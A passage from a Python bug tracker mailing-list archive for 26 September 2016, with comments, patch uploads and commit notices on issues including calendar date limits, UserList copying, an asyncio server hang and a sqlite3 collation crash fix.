_______________________________________

From report at bugs.python.org  Mon Sep 26 14:32:37 2016
From: report at bugs.python.org (Bar Harel)
Date: Mon, 26 Sep 2016 18:32:37 +0000
Subject: [issue27141] Fix collections.UserList shallow copy
In-Reply-To: <1464384542.41.0.303372176211.issue27141@psf.upfronthosting.co.za>
Message-ID: <1474914757.65.0.321373606729.issue27141@psf.upfronthosting.co.za>


Changes by Bar Harel <bzvi7919 at gmail.com>:


Added file: http://bugs.python.org/file44833/issue27141_patch_rev1_opt2.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27141>
_______________________________________

From report at bugs.python.org  Mon Sep 26 14:33:11 2016
From: report at bugs.python.org (Alexander Belopolsky)
Date: Mon, 26 Sep 2016 18:33:11 +0000
Subject: [issue28253] calendar.prcal(9999) output has a problem
In-Reply-To: <68047ef2.6fd9.15755a09cdb.Coremail.xibeilijp@163.com>
Message-ID: <1474914791.65.0.0571474686278.issue28253@psf.upfronthosting.co.za>


Alexander Belopolsky added the comment:

Note that the stop on date.max behavior was introduced in #15421.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28253>
_______________________________________

From report at bugs.python.org  Mon Sep 26 14:34:26 2016
From: report at bugs.python.org (Alexander Belopolsky)
Date: Mon, 26 Sep 2016 18:34:26 +0000
Subject: [issue28253] calendar.prcal(9999) output has a problem
In-Reply-To: <68047ef2.6fd9.15755a09cdb.Coremail.xibeilijp@163.com>
Message-ID: <1474914866.68.0.420091445594.issue28253@psf.upfronthosting.co.za>


Alexander Belopolsky added the comment:

> itermonthdates() is documented public method

The current documentation is an impossibility:

"The iterator will yield datetime.date values and will always iterate through complete weeks, so it will yield dates outside the specified
month."

The current implementation deals with this impossibility differently for months (9999, 12) and (1, 1).  In the first case, the iterators stops on an out of bounds date:

>>> list(calendar.Calendar().itermonthdates(9999, 12))[-1]
datetime.date(9999, 12, 31)
>>> list(calendar.Calendar().itermonthdates(9999, 12))[-1].weekday()
4

but in the second, it raises the OverflowError:

>>> next(calendar.Calendar(1).itermonthdates(1, 1))
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "calendar.py", line 160, in itermonthdates
    date -= datetime.timedelta(days=days)
OverflowError: date value out of range

Returning dummy instances instead of datetime.date in these cases will only make debugging harder for the users of .itermonthdates().  Sooner or later they would want to do something the returned value that the dummy won't support.  If you are willing to sacrifice the "will yield datetime.date values" for "will always iterate through complete weeks", I would make it yield None for out of bounds values and require the caller to deal with this possibility right away.

A better solution would be to simply raise OverflowError whenever the range of itermonthdates() does not fit within [date.min, date.max].

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28253>
_______________________________________

From report at bugs.python.org  Mon Sep 26 14:35:01 2016
From: report at bugs.python.org (Bar Harel)
Date: Mon, 26 Sep 2016 18:35:01 +0000
Subject: [issue27141] Fix collections.UserList shallow copy
In-Reply-To: <1464384542.41.0.303372176211.issue27141@psf.upfronthosting.co.za>
Message-ID: <1474914901.04.0.681547081527.issue27141@psf.upfronthosting.co.za>


Bar Harel added the comment:

I personally prefer the __copy__ mechanism as I think a bugfix shouldn't be 100000% backwards compatible, chances of issues are low, and it's cleaner, more efficient and how things should be.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27141>
_______________________________________

From report at bugs.python.org  Mon Sep 26 14:38:49 2016
From: report at bugs.python.org (Christian Heimes)
Date: Mon, 26 Sep 2016 18:38:49 +0000
Subject: [issue28182] Expose OpenSSL verification results in SSLError
In-Reply-To: <1474038403.65.0.643451535386.issue28182@psf.upfronthosting.co.za>
Message-ID: <1474915129.02.0.632303699914.issue28182@psf.upfronthosting.co.za>


Christian Heimes added the comment:

For hostname verification it might be a good idea to add a replacement for ssl.CertificateError.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28182>
_______________________________________

From report at bugs.python.org  Mon Sep 26 14:57:00 2016
From: report at bugs.python.org (Christian Heimes)
Date: Mon, 26 Sep 2016 18:57:00 +0000
Subject: [issue27386] Asyncio server hang when clients connect and immediately
 disconnect
In-Reply-To: <1466888194.59.0.640833210662.issue27386@psf.upfronthosting.co.za>
Message-ID: <1474916220.95.0.264565352232.issue27386@psf.upfronthosting.co.za>


Christian Heimes added the comment:

Yuri, are you going to backport the fix to 3.4?

----------
assignee:  -> yselivanov
nosy: +christian.heimes
status: open -> pending
versions:  -Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27386>
_______________________________________

From report at bugs.python.org  Mon Sep 26 15:09:09 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Mon, 26 Sep 2016 19:09:09 +0000
Subject: [issue28255] TextCalendar.prweek/month/year outputs an extra
 whitespace character
In-Reply-To: <1474620667.82.0.649697112253.issue28255@psf.upfronthosting.co.za>
Message-ID: <1474916949.95.0.634939251187.issue28255@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

Actually the behavior of the print statement in Python 2 is more complex.

"print x," doesn't output a space after x, but sets the softspace attribute of the file to true (unless x is a string ending with non-space whitespace character like \n or \t). print tests this flag before outputting a value and outputs a space if it is true. Any output to a file resets this flag. This behavior can't be exactly reproduced in Python 3.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28255>
_______________________________________

From report at bugs.python.org  Mon Sep 26 15:25:43 2016
From: report at bugs.python.org (Christian Heimes)
Date: Mon, 26 Sep 2016 19:25:43 +0000
Subject: [issue27850] Remove 3DES from cipher list (sweet32 CVE-2016-2183)
In-Reply-To: <1472046228.4.0.176948453237.issue27850@psf.upfronthosting.co.za>
Message-ID: <1474917943.3.0.0184370453682.issue27850@psf.upfronthosting.co.za>


Changes by Christian Heimes <lists at cheimes.de>:


----------
assignee: christian.heimes -> 
versions:  -Python 2.7, Python 3.5, Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27850>
_______________________________________

From report at bugs.python.org  Mon Sep 26 15:43:13 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Mon, 26 Sep 2016 19:43:13 +0000
Subject: [issue28253] calendar.prcal(9999) output has a problem
In-Reply-To: <68047ef2.6fd9.15755a09cdb.Coremail.xibeilijp@163.com>
Message-ID: <1474918993.23.0.281965631545.issue28253@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

Yes, the current documentation is an impossibility (unless we remove all date limits that is much harder issue). Raisin OverflowError will make the implementation of itermonthdays2() and itermonthdays() more complex. Yielding dummy instances or None requires rewriting user code (less with a dummy instance if we are lucky). I agree that in long perspective yielding None looks better.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28253>
_______________________________________

From report at bugs.python.org  Mon Sep 26 15:45:26 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Mon, 26 Sep 2016 19:45:26 +0000
Subject: [issue28222] test_distutils fails
In-Reply-To: <1474432052.98.0.601076913744.issue28222@psf.upfronthosting.co.za>
Message-ID: <1474919126.04.0.496102488985.issue28222@psf.upfronthosting.co.za>


Changes by Serhiy Storchaka <storchaka+cpython at gmail.com>:


----------
components: +Distutils
nosy: +dstufft, eric.araujo
stage:  -> needs patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28222>
_______________________________________

From report at bugs.python.org  Mon Sep 26 15:47:26 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Mon, 26 Sep 2016 19:47:26 +0000
Subject: [issue28144] Decrease empty_keys_struct's dk_refcnt
In-Reply-To: <1473846038.37.0.246156415541.issue28144@psf.upfronthosting.co.za>
Message-ID: <1474919246.83.0.0305859190686.issue28144@psf.upfronthosting.co.za>


Changes by Serhiy Storchaka <storchaka+cpython at gmail.com>:


----------
assignee:  -> serhiy.storchaka
components: +Interpreter Core
nosy: +serhiy.storchaka
stage:  -> patch review
type:  -> enhancement
versions: +Python 3.6, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28144>
_______________________________________

From report at bugs.python.org  Mon Sep 26 16:02:05 2016
From: report at bugs.python.org (Roundup Robot)
Date: Mon, 26 Sep 2016 20:02:05 +0000
Subject: [issue28144] Decrease empty_keys_struct's dk_refcnt
In-Reply-To: <1473846038.37.0.246156415541.issue28144@psf.upfronthosting.co.za>
Message-ID: <20160926200202.81263.25467.CF4BE1BD@psf.io>


Roundup Robot added the comment:

New changeset 5d80a8e16edd by Serhiy Storchaka in branch '3.6':
issue #28144: Decrease empty_keys_struct's dk_refcnt
https://hg.python.org/cpython/rev/5d80a8e16edd

New changeset a579a0354d85 by Serhiy Storchaka in branch 'default':
issue #28144: Decrease empty_keys_struct's dk_refcnt
https://hg.python.org/cpython/rev/a579a0354d85

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28144>
_______________________________________

From report at bugs.python.org  Mon Sep 26 16:03:26 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Mon, 26 Sep 2016 20:03:26 +0000
Subject: [issue28144] Decrease empty_keys_struct's dk_refcnt
In-Reply-To: <1473846038.37.0.246156415541.issue28144@psf.upfronthosting.co.za>
Message-ID: <1474920206.19.0.0794508163123.issue28144@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

Good catch Xiang Zhang!

----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28144>
_______________________________________

From report at bugs.python.org  Mon Sep 26 16:06:16 2016
From: report at bugs.python.org (Roundup Robot)
Date: Mon, 26 Sep 2016 20:06:16 +0000
Subject: [issue18893] invalid exception handling in Lib/ctypes/macholib/dyld.py
In-Reply-To: <1377946586.23.0.205823706154.issue18893@psf.upfronthosting.co.za>
Message-ID: <20160926200611.19786.89031.2950B152@psf.io>


Roundup Robot added the comment:

New changeset e9f34d382eda by Berker Peksag in branch '3.5':
Issue #18893: Fix invalid exception handling in Lib/ctypes/macholib/dyld.py
https://hg.python.org/cpython/rev/e9f34d382eda

New changeset 708337cd8e6a by Berker Peksag in branch '3.6':
Issue #18893: Merge from 3.5
https://hg.python.org/cpython/rev/708337cd8e6a

New changeset b9d9c49d5b50 by Berker Peksag in branch 'default':
Issue #18893: Merge from 3.6
https://hg.python.org/cpython/rev/b9d9c49d5b50

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue18893>
_______________________________________

From report at bugs.python.org  Mon Sep 26 16:06:40 2016
From: report at bugs.python.org (Berker Peksag)
Date: Mon, 26 Sep 2016 20:06:40 +0000
Subject: [issue18893] invalid exception handling in Lib/ctypes/macholib/dyld.py
In-Reply-To: <1377946586.23.0.205823706154.issue18893@psf.upfronthosting.co.za>
Message-ID: <1474920400.19.0.999047188088.issue18893@psf.upfronthosting.co.za>


Berker Peksag added the comment:

Thanks!

----------
nosy: +berker.peksag
resolution:  -> fixed
stage:  -> resolved
status: open -> closed
versions: +Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue18893>
_______________________________________

From report at bugs.python.org  Mon Sep 26 16:15:26 2016
From: report at bugs.python.org (Roundup Robot)
Date: Mon, 26 Sep 2016 20:15:26 +0000
Subject: [issue27914] Incorrect comment in PyModule_ExcDef
In-Reply-To: <1472654320.9.0.438232353542.issue27914@psf.upfronthosting.co.za>
Message-ID: <20160926201522.20431.83979.15AD0EC1@psf.io>


Roundup Robot added the comment:

New changeset 2cf16c627c17 by Serhiy Storchaka in branch '3.6':
Issue #27914: Fixed a comment in PyModule_ExcDef.
https://hg.python.org/cpython/rev/2cf16c627c17

New changeset a944b08d1ac7 by Serhiy Storchaka in branch 'default':
Issue #27914: Fixed a comment in PyModule_ExcDef.
https://hg.python.org/cpython/rev/a944b08d1ac7

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27914>
_______________________________________

From report at bugs.python.org  Mon Sep 26 16:15:58 2016
From: report at bugs.python.org (Yury Selivanov)
Date: Mon, 26 Sep 2016 20:15:58 +0000
Subject: [issue27386] Asyncio server hang when clients connect and immediately
 disconnect
In-Reply-To: <1474916220.95.0.264565352232.issue27386@psf.upfronthosting.co.za>
Message-ID: <406CA309-1688-4A31-95DC-A4E58B033A0B@gmail.com>


Yury Selivanov added the comment:

Isn't 3.4 in security fixes only mode?

----------
status: pending -> open

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27386>
_______________________________________

From report at bugs.python.org  Mon Sep 26 16:16:40 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Mon, 26 Sep 2016 20:16:40 +0000
Subject: [issue27914] Incorrect comment in PyModule_ExcDef
In-Reply-To: <1472654320.9.0.438232353542.issue27914@psf.upfronthosting.co.za>
Message-ID: <1474921000.21.0.471072060087.issue27914@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

Good catch!

----------
nosy: +serhiy.storchaka
resolution:  -> fixed
stage:  -> resolved
status: open -> closed
versions: +Python 3.7 -Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27914>
_______________________________________

From report at bugs.python.org  Mon Sep 26 16:19:07 2016
From: report at bugs.python.org (Christian Heimes)
Date: Mon, 26 Sep 2016 20:19:07 +0000
Subject: [issue27386] Asyncio server hang when clients connect and immediately
 disconnect
In-Reply-To: <1466888194.59.0.640833210662.issue27386@psf.upfronthosting.co.za>
Message-ID: <1474921147.6.0.197489893146.issue27386@psf.upfronthosting.co.za>


Christian Heimes added the comment:

Jim ask for a backport. In case the problem is not a security issue that needs to be backported, feel free to close the ticket.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27386>
_______________________________________

From report at bugs.python.org  Mon Sep 26 16:21:16 2016
From: report at bugs.python.org (Roundup Robot)
Date: Mon, 26 Sep 2016 20:21:16 +0000
Subject: [issue10673] multiprocess.Process join method - timeout
 indistinguishable from success
In-Reply-To: <1291991778.63.0.145134143934.issue10673@psf.upfronthosting.co.za>
Message-ID: <20160926202112.100945.25609.11259631@psf.io>


Roundup Robot added the comment:

New changeset 112060f8abe8 by Berker Peksag in branch '3.5':
Issue #10673: Document that Process.exitcode can be used to determine timeout
https://hg.python.org/cpython/rev/112060f8abe8

New changeset 0414ce8a3b5c by Berker Peksag in branch '3.6':
Issue #10673: Merge from 3.5
https://hg.python.org/cpython/rev/0414ce8a3b5c

New changeset f91650739061 by Berker Peksag in branch 'default':
Issue #10673: Merge from 3.6
https://hg.python.org/cpython/rev/f91650739061

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue10673>
_______________________________________

From report at bugs.python.org  Mon Sep 26 16:21:45 2016
From: report at bugs.python.org (Berker Peksag)
Date: Mon, 26 Sep 2016 20:21:45 +0000
Subject: [issue10673] multiprocess.Process join method - timeout
 indistinguishable from success
In-Reply-To: <1291991778.63.0.145134143934.issue10673@psf.upfronthosting.co.za>
Message-ID: <1474921305.46.0.623875585259.issue10673@psf.upfronthosting.co.za>


Berker Peksag added the comment:

Thanks, Tom.

----------
components:  -Library (Lib)
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed
versions: +Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue10673>
_______________________________________

From report at bugs.python.org  Mon Sep 26 16:22:25 2016
From: report at bugs.python.org (Jim Fulton)
Date: Mon, 26 Sep 2016 20:22:25 +0000
Subject: [issue27386] Asyncio server hang when clients connect and immediately
 disconnect
In-Reply-To: <1466888194.59.0.640833210662.issue27386@psf.upfronthosting.co.za>
Message-ID: <1474921345.4.0.812873273793.issue27386@psf.upfronthosting.co.za>


Jim Fulton added the comment:

This is arguably a security issue because it's a DoS vector.

I don't feel strongly about it though.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27386>
_______________________________________

From report at bugs.python.org  Mon Sep 26 16:25:59 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Mon, 26 Sep 2016 20:25:59 +0000
Subject: [issue27897] Avoid possible crash in
 pysqlite_connection_create_collation
In-Reply-To: <1472574148.53.0.8247324722.issue27897@psf.upfronthosting.co.za>
Message-ID: <1474921559.07.0.631798890691.issue27897@psf.upfronthosting.co.za>


Changes by Serhiy Storchaka <storchaka+cpython at gmail.com>:


----------
assignee:  -> serhiy.storchaka
stage:  -> patch review
versions: +Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27897>
_______________________________________

From report at bugs.python.org  Mon Sep 26 16:26:28 2016
From: report at bugs.python.org (Alexander Belopolsky)
Date: Mon, 26 Sep 2016 20:26:28 +0000
Subject: [issue28253] calendar.prcal(9999) output has a problem
In-Reply-To: <68047ef2.6fd9.15755a09cdb.Coremail.xibeilijp@163.com>
Message-ID: <1474921588.2.0.299555758712.issue28253@psf.upfronthosting.co.za>


Alexander Belopolsky added the comment:

I am attaching the proposed reimplementation of itermonthdays2() and itermonthdays().  It does not use itermonthdates() and is not that complicated.  It passes test_calendar, but I did not test it further than that.

I would rather not mess up with itermonthdates(), particularly in a bugfix release.  We can postpone the discussion of a better way to handle date over/underflow in itermonthdates() until 3.7.

----------
Added file: http://bugs.python.org/file44834/issue28253.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28253>
_______________________________________

From report at bugs.python.org  Mon Sep 26 16:26:54 2016
From: report at bugs.python.org (Yury Selivanov)
Date: Mon, 26 Sep 2016 20:26:54 +0000
Subject: [issue27386] Asyncio server hang when clients connect and immediately
 disconnect
In-Reply-To: <1466888194.59.0.640833210662.issue27386@psf.upfronthosting.co.za>
Message-ID: <1474921614.59.0.0751396479469.issue27386@psf.upfronthosting.co.za>


Yury Selivanov added the comment:

> Jim ask for a backport.

Sorry Jim, was replying from my email client, didn't see all messages.

> This is arguably a security issue because it's a DoS vector.

Yeah, I can see why.  I can commit this to 3.4 in a week.  Christian, feel free to commit this if you want this issue to be closed earlier.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27386>
_______________________________________

From report at bugs.python.org  Mon Sep 26 16:28:54 2016
From: report at bugs.python.org (Roundup Robot)
Date: Mon, 26 Sep 2016 20:28:54 +0000
Subject: [issue20100] epoll docs are not clear with regards to CLOEXEC.
In-Reply-To: <1388505494.08.0.643576998185.issue20100@psf.upfronthosting.co.za>
Message-ID: <20160926202851.100670.74465.DF3324A1@psf.io>


Roundup Robot added the comment:

New changeset ac24e5c2fd3e by Berker Peksag in branch 'default':
Issue #20100: Simplify newPyEpoll_Object()
https://hg.python.org/cpython/rev/ac24e5c2fd3e

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue20100>
_______________________________________

From report at bugs.python.org  Mon Sep 26 16:29:08 2016
From: report at bugs.python.org (Berker Peksag)
Date: Mon, 26 Sep 2016 20:29:08 +0000
Subject: [issue20100] epoll docs are not clear with regards to CLOEXEC.
In-Reply-To: <1388505494.08.0.643576998185.issue20100@psf.upfronthosting.co.za>
Message-ID: <1474921748.84.0.761822737996.issue20100@psf.upfronthosting.co.za>


Changes by Berker Peksag <berker.peksag at gmail.com>:


----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue20100>
_______________________________________

From report at bugs.python.org  Mon Sep 26 16:44:06 2016
From: report at bugs.python.org (Alexander Belopolsky)
Date: Mon, 26 Sep 2016 20:44:06 +0000
Subject: [issue28281] Remove year limits from calendar
Message-ID: <1474922646.39.0.781731359123.issue28281@psf.upfronthosting.co.za>


New submission from Alexander Belopolsky:

The calendar module currently relies on datetime for some calculations and is therefore restricted to years 1 through 9999.  With exception to some public methods that are documented to return datetime.date instances, this dependence on the datetime module can be removed.

----------
assignee: belopolsky
messages: 277467
nosy: belopolsky, serhiy.storchaka
priority: normal
severity: normal
stage: needs patch
status: open
title: Remove year limits from calendar
type: enhancement
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28281>
_______________________________________

From report at bugs.python.org  Mon Sep 26 16:46:14 2016
From: report at bugs.python.org (Alexander Belopolsky)
Date: Mon, 26 Sep 2016 20:46:14 +0000
Subject: [issue28253] calendar.prcal(9999) output has a problem
In-Reply-To: <68047ef2.6fd9.15755a09cdb.Coremail.xibeilijp@163.com>
Message-ID: <1474922774.39.0.11847278932.issue28253@psf.upfronthosting.co.za>


Alexander Belopolsky added the comment:

> unless we remove all date limits that is much harder issue

I don't think this is too hard.  I think the original implementation did not have date limits.  I've opened a separate issue for this.  See #28281.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28253>
_______________________________________

From report at bugs.python.org  Mon Sep 26 16:53:22 2016
From: report at bugs.python.org (Berker Peksag)
Date: Mon, 26 Sep 2016 20:53:22 +0000
Subject: [issue24098] Multiple use after frees in obj2ast_* methods
In-Reply-To: <1430489429.65.0.587999729774.issue24098@psf.upfronthosting.co.za>
Message-ID: <1474923202.08.0.132212409367.issue24098@psf.upfronthosting.co.za>


Berker Peksag added the comment:

Please note that Python/Python-ast.c is automatically generated by Parser/asdl_c.py.

----------
nosy: +benjamin.peterson, berker.peksag

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24098>
_______________________________________

From report at bugs.python.org  Mon Sep 26 17:00:32 2016
From: report at bugs.python.org (Roy Williams)
Date: Mon, 26 Sep 2016 21:00:32 +0000
Subject: [issue28279] setuptools failing to read from setup.cfg only in Python
 3.6
In-Reply-To: <1474909538.67.0.328004494878.issue28279@psf.upfronthosting.co.za>
Message-ID: <1474923632.98.0.502201810408.issue28279@psf.upfronthosting.co.za>


Changes by Roy Williams <rwilliams at lyft.com>:


----------
type:  -> behavior

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28279>
_______________________________________

From report at bugs.python.org  Mon Sep 26 17:16:44 2016
From: report at bugs.python.org (Roundup Robot)
Date: Mon, 26 Sep 2016 21:16:44 +0000
Subject: [issue27897] Avoid possible crash in
 pysqlite_connection_create_collation
In-Reply-To: <1472574148.53.0.8247324722.issue27897@psf.upfronthosting.co.za>
Message-ID: <20160926211642.20603.4384.8507D4C0@psf.io>


Roundup Robot added the comment:

New changeset c739660489c1 by Serhiy Storchaka in branch '3.5':
Issue #27897: Fixed possible crash in sqlite3.Connection.create_collation()
https://hg.python.org/cpython/rev/c739660489c1

New changeset c2eb90422aec by Serhiy Storchaka in branch '3.6':
Issue #27897: Fixed possible crash in sqlite3.Connection.create_collation()
https://hg.python.org/cpython/rev/c2eb90422aec

New changeset 9fc2b6dba9c2 by Serhiy Storchaka in branch 'default':
Issue #27897: Fixed possible crash in sqlite3.Connection.create_collation()
https://hg.python.org/cpython/rev/9fc2b6dba9c2

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27897>
_______________________________________

From report at bugs.python.org  Mon Sep 26 17:27:51 2016
From: report at bugs.python.org (Roundup Robot)
Date: Mon, 26 Sep 2016 21:27:51 +0000
Subject: [issue27897] Avoid possible crash in
 pysqlite_connection_create_collation
In-Reply-To: <1472574148.53.0.8247324722.issue27897@psf.upfronthosting.co.za>
Message-ID: <20160926212747.19858.35199.4FD550F1@psf.io>


Roundup Robot added the comment:

New changeset 1aae9b7ff321 by Serhiy Storchaka in branch '2.7':
Issue #27897: Backported tests.
https://hg.python.org/cpython/rev/1aae9b7ff321

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27897>
_______________________________________

From report at bugs.python.org  Mon Sep 26 17:28:43 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Mon, 26 Sep 2016 21:28:43 +0000
Subject: [issue27897] Avoid possible crash in
 pysqlite_connection_create_collation
In-Reply-To: <1472574148.53.0.8247324722.issue27897@psf.upfronthosting.co.za>
Message-ID: <1474925323.88.0.921740733464.issue27897@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

LGTM. Thank you for your patch.

----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27897>
_______________________________________

From report at bugs.python.org  Mon Sep 26 17:29:29 2016
From: report at bugs.python.org (Alexander Belopolsky)
Date: Mon, 26 Sep 2016 21:29:29 +0000
Subject: [issue8957] strptime(.., '%c') fails to parse output of strftime('%c',
 ..) in some locales
In-Reply-To: <1276115080.37.0.388300880324.issue8957@psf.upfronthosting.co.za>
Message-ID: <1474925369.67.0.222169953866.issue8957@psf.upfronthosting.co.za>


Changes by Alexander Belopolsky <alexander.belopolsky at gmail.com>:


----------
versions: +Python 3.7 -Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue8957>
_______________________________________

From report at bugs.python.org  Mon Sep 26 17:42:22 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Mon, 26 Sep 2016 21:42:22 +0000
Subject: [issue28281] Remove year limits from calendar
In-Reply-To: <1474922646.39.0.781731359123.issue28281@psf.upfronthosting.co.za>
Message-ID: <1474926142.83.0.269028732941.issue28281@psf.upfronthosting.co.za>


Changes by Serhiy Storchaka <storchaka+cpython at gmail.com>:


----------
nosy: +doerwalter

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28281>
_______________________________________

From report at bugs.python.org  Mon Sep 26 18:17:40 2016
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 26 Sep 2016 22:17:40 +0000
Subject: [issue20100] epoll docs are not clear with regards to CLOEXEC.
In-Reply-To: <20160926202851.100670.74465.DF3324A1@psf.io>
Message-ID: <CAMpsgwZ1V2GYbpJR4Y7yMEH6JK9oowHaLWvFCT8+2mL6CwAmEQ@mail.gmail.com>


STINNER Victor added the comment:

I dislike this change. Python is not responsible to check parameters of OS
syscalls, this function should be a thin wrapper to the OS function. Linux
may add new flags in the future.

Le lundi 26 septembre 2016, Roundup Robot <report at bugs.python.org> a ?crit :

>
> Roundup Robot added the comment:
>
> New changeset ac24e5c2fd3e by Berker Peksag in branch 'default':
> Issue #20100: Simplify newPyEpoll_Object()
> https://hg.python.org/cpython/rev/ac24e5c2fd3e
>
> ----------
>
> _______________________________________
> Python tracker <report at bugs.python.org <javascript:;>>
> <http://bugs.python.org/issue20100>
> _______________________________________
>

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue20100>
_______________________________________

From report at bugs.python.org  Mon Sep 26 18:28:19 2016
From: report at bugs.python.org (Alexander Belopolsky)
Date: Mon, 26 Sep 2016 22:28:19 +0000
Subject: [issue28253] calendar.prcal(9999) output has a problem
In-Reply-To: <68047ef2.6fd9.15755a09cdb.Coremail.xibeilijp@163.com>
Message-ID: <1474928899.27.0.0784560755442.issue28253@psf.upfronthosting.co.za>


Alexander Belopolsky added the comment:

issue28253-2.diff is a small performance improvement over issue28253.diff

----------
Added file: http://bugs.python.org/file44835/issue28253-2.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28253>
_______________________________________

From report at bugs.python.org  Mon Sep 26 18:37:58 2016
From: report at bugs.python.org (Alexander Belopolsky)
Date: Mon, 26 Sep 2016 22:37:58 +0000
Subject: [issue28253] calendar.prcal(9999) output has a problem
In-Reply-To: <68047ef2.6fd9.15755a09cdb.Coremail.xibeilijp@163.com>
Message-ID: <1474929478.32.0.981371505131.issue28253@psf.upfronthosting.co.za>


Alexander Belopolsky added the comment:

issue28253-3.diff uses itertools.repeat().

----------
Added file: http://bugs.python.org/file44836/issue28253-3.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28253>
_______________________________________

From report at bugs.python.org  Mon Sep 26 19:20:06 2016
From: report at bugs.python.org (Alexander Belopolsky)
Date: Mon, 26 Sep 2016 23:20:06 +0000
Subject: [issue28253] calendar.prcal(9999) output has a problem
In-Reply-To: <68047ef2.6fd9.15755a09cdb.Coremail.xibeilijp@163.com>
Message-ID: <1474932006.33.0.450274224514.issue28253@psf.upfronthosting.co.za>


Alexander Belopolsky added the comment:

issue28253-4.diff is issue28253-3.diff with tests.

----------
Added file: http://bugs.python.org/file44837/issue28253-4.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28253>
_______________________________________

From report at bugs.python.org  Mon Sep 26 19:31:13 2016
From: report at bugs.python.org (Alexander Belopolsky)
Date: Mon, 26 Sep 2016 23:31:13 +0000
Subject: [issue26650] calendar: OverflowErrors for year == 1 and firstweekday
 > 0
In-Reply-To: <1459071536.92.0.968744515291.issue26650@psf.upfronthosting.co.za>
Message-ID: <1474932673.06.0.314636877029.issue26650@psf.upfronthosting.co.za>


Alexander Belopolsky added the comment:

My patch for issue 28253 fixes this problem for itermonthdays2() and itermonthdays() methods.  As discussed there, fixing itermonthdates() would require changing a documented public interface.

----------
assignee:  -> belopolsky
nosy: +belopolsky

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26650>
_______________________________________

From report at bugs.python.org  Mon Sep 26 19:57:16 2016
From: report at bugs.python.org (INADA Naoki)
Date: Mon, 26 Sep 2016 23:57:16 +0000
Subject: [issue28147] Unbounded memory growth resizing split-table dicts
In-Reply-To: <1473853453.13.0.556951743271.issue28147@psf.upfronthosting.co.za>
Message-ID: <1474934236.52.0.721954964569.issue28147@psf.upfronthosting.co.za>


Changes by INADA Naoki <songofacandy at gmail.com>:


----------
versions: +Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28147>
_______________________________________

From report at bugs.python.org  Mon Sep 26 20:04:21 2016
